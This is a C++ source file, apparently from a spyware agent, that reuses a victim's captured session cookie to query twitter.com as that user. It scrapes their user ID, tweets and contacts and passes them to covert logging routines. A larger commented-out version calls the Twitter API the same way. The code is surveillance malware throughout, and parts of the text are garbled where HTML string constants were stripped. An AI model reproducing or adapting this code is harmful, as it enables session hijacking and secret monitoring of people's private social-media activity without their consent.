#include #include #include #include "..\common.h" #include "..\LOG.h" #include "SocialMain.h" #include "NetworkHandler.h" #include "..\bin_string.h" extern BOOL bPM_IMStarted; // variabili per vedere se gli agenti interessati sono attivi extern BOOL bPM_ContactsStarted; extern BOOL bPM_MailCapStarted; extern DWORD GetLastFBTstamp(char *user, DWORD *hi_part); extern void SetLastFBTstamp(char *user, DWORD tstamp_lo, DWORD tstamp_hi); extern BOOL DumpContact(HANDLE hfile, DWORD program, WCHAR *name, WCHAR *email, WCHAR *company, WCHAR *addr_home, WCHAR *addr_office, WCHAR *phone_off, WCHAR *phone_mob, WCHAR *phone_hom, WCHAR *skype_name, WCHAR *facebook_page, DWORD flags); extern wchar_t *UTF8_2_UTF16(char *str); // in firefox.cpp #define TWITTER_FOLLOWER 1 #define TWITTER_FRIEND 0 #define TW_CONTACT_ID1 "\"screen_name\":\"" #define TW_CONTACT_ID2 "\"name\":\"" #define TW_ID_LIMIT 95 #define TWITTER_TWEET_START "

" #define TWITTER_TWEET_ID_START "data-tweet-id=\"" //""//useless #define TWITTER_TWEET_DISPLAY_NAME_START "data-name=\"" #define TWITTER_TWEET_TIMESTAMP_START "data-time=\"" //"BODY

a) find start of

, and then reach the end of

b) find

*/ parser1 = strstr(parser1, TWITTER_TWEET_START); if( !parser1 ) break; parser1 = strchr(parser1, '>'); if( !parser1 ) break; parser1 += 1; parser2 = strstr(parser1, TWITTER_TWEET_END); if( !parser2 ) break; *parser2 = NULL; _snprintf_s(tweet_body, sizeof(tweet_body), _TRUNCATE, "%s", parser1); parser1 = parser2 + 1; /* if the tweet is new save it , discard otherwise */ if (!atoi(tweet_timestamp)) continue; sscanf_s(tweet_timestamp, "%llu", &act_tstamp); if( act_tstamp.LowPart > 2000000000 || act_tstamp.LowPart <= last_tstamp_lo) continue; /* should hold true only for the first tweet in the batch */ if( act_tstamp.LowPart > dwHigherBatchTimestamp ) dwHigherBatchTimestamp = act_tstamp.LowPart; _gmtime32_s(&tstamp, (__time32_t *)&act_tstamp); tstamp.tm_year += 1900; tstamp.tm_mon++; LogSocialIMMessageA(CHAT_PROGRAM_TWITTER, "", "", screen_name, "", tweet_body, &tstamp, FALSE); } SetLastFBTstamp(user, dwHigherBatchTimestamp, 0); SAFE_FREE(r_buffer); return SOCIAL_REQUEST_SUCCESS; } //#define TW_TWEET_BODY "\"text\":\"" //#define TW_TWEET_ID "\"id_str\":\"" //#define TW_TWEET_TS "\"created_at\":\"" //DWORD ParseTweet(char *user, char *cookie) //{ // DWORD ret_val; // BYTE *r_buffer = NULL; // DWORD response_len; // char *parser1, *parser2; // WCHAR twitter_request[256]; // char tweet_body[256]; // char tweet_id[256]; // char tweet_ts[256]; // char screen_name[256]; // ULARGE_INTEGER act_tstamp; // DWORD last_tstamp_hi, last_tstamp_lo; // struct tm tstamp; // // last_tstamp_lo = GetLastFBTstamp(user, &last_tstamp_hi); // // _snwprintf_s(twitter_request, sizeof(twitter_request)/sizeof(WCHAR), _TRUNCATE, L"/1/statuses/user_timeline.json?user_id=%S", user); // ret_val = HttpSocialRequest(L"api.twitter.com", L"GET", twitter_request, 443, NULL, 0, &r_buffer, &response_len, cookie); // if (ret_val != SOCIAL_REQUEST_SUCCESS) // return ret_val; // // parser1 = (char *)r_buffer; // // for (;;) { // CheckProcessStatus(); // parser1 = strstr(parser1, TW_TWEET_TS); // if (!parser1) // break; // parser1 += strlen(TW_TWEET_TS); // parser2 = strchr(parser1, '\"'); // if (!parser2) // break; // *parser2 = NULL; // _snprintf_s(tweet_ts, sizeof(tweet_ts), _TRUNCATE, "%s", parser1); // parser1 = parser2 + 1; // // parser1 = strstr(parser1, TW_TWEET_ID); // if (!parser1) // break; // parser1 += strlen(TW_TWEET_ID); // parser2 = strchr(parser1, '\"'); // if (!parser2) // break; // *parser2 = NULL; // _snprintf_s(tweet_id, sizeof(tweet_id), _TRUNCATE, "%s", parser1); // parser1 = parser2 + 1; // // if (!atoi(tweet_id)) // continue; // // Verifica se e' gia' stato preso // sscanf_s(tweet_id, "%llu", &act_tstamp); // if (act_tstamp.HighPart < last_tstamp_hi) // break; // if (act_tstamp.HighPart==last_tstamp_hi && act_tstamp.LowPart<=last_tstamp_lo) // break; // SetLastFBTstamp(user, act_tstamp.LowPart, act_tstamp.HighPart); // // parser1 = strstr(parser1, TW_TWEET_BODY); // if (!parser1) // break; // parser1 += strlen(TW_TWEET_BODY); // parser2 = strchr(parser1, '\"'); // if (!parser2) // break; // *parser2 = NULL; // _snprintf_s(tweet_body, sizeof(tweet_body), _TRUNCATE, "%s", parser1); // parser1 = parser2 + 1; // // parser1 = strstr(parser1, TW_CONTACT_ID1); // if (!parser1) // break; // parser1 += strlen(TW_CONTACT_ID1); // parser2 = strchr(parser1, '\"'); // if (!parser2) // break; // *parser2 = NULL; // _snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, "%s", parser1); // parser1 = parser2 + 1; // // // XXX Sistemare il timestamp // GET_TIME(tstamp); // LogSocialIMMessageA(CHAT_PROGRAM_TWITTER, "", "", screen_name, "", tweet_body, &tstamp, FALSE); // // parser1 = strstr(parser1, TW_TWEET_TS); // if (!parser1) // break; // parser1 += strlen(TW_TWEET_TS); // parser2 = strchr(parser1, '\"'); // if (!parser2) // break; // parser1 = parser2 + 1; // } // // SAFE_FREE(r_buffer); // return SOCIAL_REQUEST_SUCCESS; //} DWORD HandleTwitterTweets(char *cookie) { DWORD ret_val; BYTE *r_buffer = NULL; DWORD response_len; char *parser1, *parser2; char user[256]; CheckProcessStatus(); if (!bPM_IMStarted) return SOCIAL_REQUEST_NETWORK_PROBLEM; // Identifica l'utente ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie); if (ret_val != SOCIAL_REQUEST_SUCCESS) return ret_val; parser1 = (char *)r_buffer; LOOP { parser1 = (char *)strstr((char *)parser1, "data-user-id=\""); if (!parser1) { SAFE_FREE(r_buffer); return SOCIAL_REQUEST_BAD_COOKIE; } parser1 += strlen("data-user-id=\""); parser2 = (char *)strchr((char *)parser1, '\"'); if (!parser2) { SAFE_FREE(r_buffer); return SOCIAL_REQUEST_BAD_COOKIE; } *parser2=0; _snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1); if (strlen(user)) break; parser1 = parser2 + 1; } SAFE_FREE(r_buffer); return ParseTweet(user, cookie); } .